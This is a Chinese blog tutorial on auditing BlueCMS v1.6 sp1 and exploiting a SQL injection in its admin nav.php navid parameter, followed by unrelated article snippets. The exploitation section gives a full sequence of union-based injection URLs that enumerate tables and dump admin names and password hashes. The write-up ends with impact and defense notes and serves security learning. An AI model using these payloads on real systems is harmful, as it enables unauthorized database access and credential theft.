bluecms 手把手教你0day挖掘-基础入门篇_bluecms找漏洞-程序员宅基地

技术标签: web安全  sql  

Bluecms后台sql注入漏洞

一、环境搭建

1、PhP地方门户系统 BlueCMS v1.6 sp1

下载地址:https://down.chinaz.com/soft/26181.htm

2、PHPstudy apache,mysql集成环境

二、代码审计

在该cms系统中,其后台存在sql注入漏洞
在这里插入图片描述

这里直接拼接了前端接受的参数navid,我们可以直接控制传入参数导致sql注入漏洞产生。

img

这里对传入的参数进行了过滤,其中addslashes()函数,返回在预定义字符之前添加反斜杠的字符串,预定义字符有,单引号,双引号,反斜杠,null等,这里sql语句为数字型注入,该过滤无效。

在这里插入图片描述

这里判断传入的参数是否是数组,若不是数组直接使用addslashes()函数进行过滤。

img

img

整个sql语句执行过程中只对传入参数使用addslashes()函数进行了过滤,后续并没有进行其他过滤。这里存在sql 注入漏洞

三、漏洞利用

1、正常payload :

http://www.bluecms.com:8001/admin/nav.php?act=edit&navid=1

在这里插入图片描述

返回正常页面

2、猜列数payload:

http://www.bluecms.com:8001/admin/nav.php?act=edit&navid=1 order by 6

得出列数为6

3、union注入payload:

http://www.bluecms.com:8001/admin/nav.php?act=edit&navid=-1 union select 1,version(),database(),4,user(),6

img

4、爆表名payload:

http://www.bluecms.com:8001/admin/nav.php?act=edit&navid=-1 union select 1,group_concat(table_name),database(),4,5,6 from information_schema.tables where table_schema=database()

在这里插入图片描述

5、爆列名payload:

http://www.bluecms.com:8001/admin/nav.php?act=edit&navid=-1 union select 1,group_concat(column_name),database(),4,5,6 from information_schema.columns where table_name=0x626C75655F61646D696E

这里我们选择了blue_admin这个表

img

6、爆数据 payload:

http://www.bluecms.com:8001/admin/nav.php?act=edit&navid=-1 union select 1,group_concat(admin_name),group_concat(pwd),4,5,6 from blue_admin

在这里插入图片描述

7、管理员密码被MD5加密,解密后得admin

在这里插入图片描述

四、漏洞危害

(1)攻击者未经授权可以访问数据库中的数据,盗取用户的隐私以及个人信息,造成用户的信息泄露。

(2)可以对数据库的数据进行增加或删除操作,例如私自添加或删除管理员账号。

(3)如果网站目录存在写入权限,可以写入网页木马。攻击者进而可以对网页进行篡改,发布一些违法信息等。

(4)经过提权等步骤,服务器最高权限被攻击者获取。攻击者可以远程控制服务器,安装后门,得以修改或控制操作系统。

五、漏洞防御

(1)基于攻击特征的匹配过滤。这是目前使用最为广泛的方式,系统会将攻击特征做成数据库,一旦匹配到这些攻击特征就会认定检测到SQL注入。这种方式可以有效的过滤大部分SQL注入攻击,但是大大增加了程序的复杂度,同时可能影响到业务的正常查询。

(2)对用户输入进行转义。例如,常见的SQL注入语句中都含有“‘’”,通过转义将“‘’”转义为“/”,SQL注入语句就会达不到攻击者预期的执行效果,从而实现对SQL注入进行防御。

(3)数据类型进行严格定义,数据长度进行严格规定。比如查询数据库某条记录的id,定义它为整型,如果用户传来的数据不满足条件,要对数据进行过滤。数据长度也应该做严格限制,可以防止较长的SQL注入语句。

(4)严格限制网站访问数据库的权限。

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/G208_522/article/details/123507319

智能推荐

IAR调试程序闪退问题_iar在debug时停止工作-程序员宅基地

文章浏览阅读1.7k次。问题:IAR调试STM32程序,点击调试按钮后软件自动关闭,并弹出报错提示框解决:将调试的接口模式改为SWD模式即可。我的原先设置为JTAG模式。_iar在debug时停止工作

100M宽带是多少网速_100m的宽带网速是多少兆-程序员宅基地

文章浏览阅读742次。100兆宽带的网速通常指的是每秒可以传输的数据量为100兆比特(Mb)。在此情况下,1兆比特(Mb)等于100万比特(Mbps),而1字节(B)等于8比特(bps)。因此,100兆宽带的网速可以计算如下:100兆比特/秒=100/8 兆字节/秒= 12.5兆字节/秒所以,100兆宽带的网速约为12.5MBps(兆字节/秒),也可以说为100Mbps(兆比特/秒)。但是需要注意的是,实际的下载和上传速度可能受到各种因素的影响,如网络拥堵、设备性能等。因此,实际使用中您可能会感受到较低的速度。_100m的宽带网速是多少兆

Windows 7 通用 CDC 串口驱动程序_cdcserial驱动 win7-程序员宅基地

文章浏览阅读2.4w次,点赞13次,收藏44次。Windows 7 通用 CDC 串口驱动程序Windows 7 自带 CDC 串口类设备的驱动程序文件 usbser.sys,所缺的是驱动配置文件 usbser.inf 文件,将 Windows 10 的 usbser.inf 文件拷贝到 Windows 7,注释掉 SourceDisksNames 和 SourceDisksFiles 部分就可以作为 Windows 7 的 CDC 串口类..._cdcserial驱动 win7

AI遮天传 NLP-词表示_nlp中词语的表示-程序员宅基地

文章浏览阅读2.5k次,点赞53次,收藏51次。NLP-词表示_nlp中词语的表示

sed 替换多个空格为一个-程序员宅基地

文章浏览阅读2.4k次。sed -i 's/[ ][ ]*/ /g' file.txt _sed 多个空格替换为1个

SpringBoot整合Dubbo,重温记录一下_springboot dubbo整合日志-程序员宅基地

文章浏览阅读125次。1. 创建maven聚合工程,结构如下:2. 父工程pom.xml文件<?xml version="1.0" encoding="UTF-8"?><project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 ht_springboot dubbo整合日志

随便推点

js 实现将json数据导出到excel表格-程序员宅基地

文章浏览阅读2.1k次。方法一将table标签,包括tr、td等对json数据进行拼接,将table输出到表格上实现,这种方法的弊端在于输出的是伪excel,虽说生成xls为后缀的文件,但文件形式上还是html,代码如下<html><head> <p style="font-size: 20px;color: red;">使用table标签方式将json导出xls文件</p..._如何把js数据转换成表格

IEEE协会会员权益,注册IEEE会员有必要了解下_ieee会员好处-程序员宅基地

IEEE协会是一个专注于航空与电子系统领域的组织,注册IEEE会员可以享受许多权益,包括免费访问协会资源中心和参加各种会议及活动。

前端自学路线图之移动Web自学,2024前端目前最稳定和高效的UI适配方案-程序员宅基地

文章浏览阅读774次,点赞20次,收藏14次。除了简历做到位,面试题也必不可少,整理了些题目,前面有117道汇总的面试到的题目,后面包括了HTML、CSS、JS、ES6、vue、微信小程序、项目类问题、笔试编程类题等专题。CodeChina开源项目:【大厂前端面试题解析+核心总结学习笔记+真实项目实战+最新讲解视频】

计算数组中每个数字出现的次数_统计数组中每个数字出现的次数-程序员宅基地

文章浏览阅读3.9k次。var arr = [12,31,42,54,65,12,31,12,42,22];//统计个数var arr2 = {};arr.forEach(function(item){ if(arr2[item]){ arr2[item] += 1; }else{ arr2[item] = 1; }})console.log(arr2);_统计数组中每个数字出现的次数

基于verilog驱动M25P16(FLASH)--------(一)_m25p16 verilog sim model-程序员宅基地

文章浏览阅读97次。基于verilog驱动M25P16(FLASH) -------- SPI简介_m25p16 verilog sim model

windows11家庭版开启hyper-v功能-程序员宅基地

文章浏览阅读23次。新建hyperv.bat,输入以下内容。管理员运行bat即可。